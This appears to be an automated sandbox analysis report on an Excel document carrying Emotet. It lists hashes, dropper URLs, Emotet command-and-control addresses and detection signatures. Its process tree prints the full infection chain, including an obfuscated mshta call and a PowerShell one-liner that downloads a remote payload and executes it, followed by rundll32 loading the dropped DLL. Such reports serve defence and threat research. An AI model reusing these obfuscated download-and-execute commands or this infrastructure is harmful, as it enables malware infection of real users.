Overview

overview

10

Static

static

8

H3726252040602729.xls

windows7_x64

10

H3726252040602729.xls

windows10_x64

10

Analysis

  • max time kernel
    118s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24/12/2021, 05:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    H3726252040602729.xls
  • Size 65KB
  • Sample211224-ftqdhadbdp
  • SHA256 99a673a62ecad396147d85ad82e9a2ff4debd5f8d8865b6574adddd1046499bc
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch4bankersuricatatrojan

Malware Config

Extracted

Language

  • hta

Source
URLs
  • hta.dropper

    http://87.251.86.178/pp/aa.html

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.251.86.178/pp/PP2.PNG

Extracted

Family

  • emotet

Botnet

  • Epoch4

C2

  • 144.217.91.150:443

  • 51.38.71.0:443

  • 212.237.56.116:7080

  • 79.172.212.216:8080

  • 178.79.147.66:8080

  • 138.185.72.26:8080

  • 192.254.71.210:443

  • 178.63.25.185:443

  • 195.154.133.20:443

  • 45.118.135.203:7080

  • 81.0.236.90:443

  • 107.182.225.142:8080

  • 162.214.50.39:7080

  • 50.116.54.215:443

  • 203.114.109.124:443

  • 45.118.115.99:8080

  • 216.158.226.206:443

  • 104.168.155.129:8080

  • 110.232.117.186:8080

  • 176.104.106.96:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)

    suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)

    suricata
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata
  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\H3726252040602729.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:980
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/aa.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:584
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://87.251.86.178/pp/aa.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1288
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://87.251.86.178/pp/PP2.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1008
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll ssd
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1764
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll ssd
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1080
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1608
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hkdtgmrojsmhrjb\jfkvixkgm.chj",Clrbm
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1620
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hkdtgmrojsmhrjb\jfkvixkgm.chj",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:812

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/812-83-0x00000000006E0000-0x0000000000707000-memory.dmp
        Download

        memory/980-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Download

        memory/980-84-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Download

        memory/980-55-0x0000000071121000-0x0000000071123000-memory.dmp
        Download

        memory/980-54-0x000000002FF71000-0x000000002FF74000-memory.dmp
        Download

        memory/1008-60-0x0000000075F21000-0x0000000075F23000-memory.dmp
        Download

        memory/1008-61-0x0000000002530000-0x000000000317A000-memory.dmp
        Download

        memory/1080-76-0x0000000000260000-0x0000000000287000-memory.dmp
        Download

        memory/1608-79-0x00000000002C0000-0x00000000002E7000-memory.dmp
        Download

        memory/1620-82-0x00000000001B0000-0x00000000001D7000-memory.dmp
        Download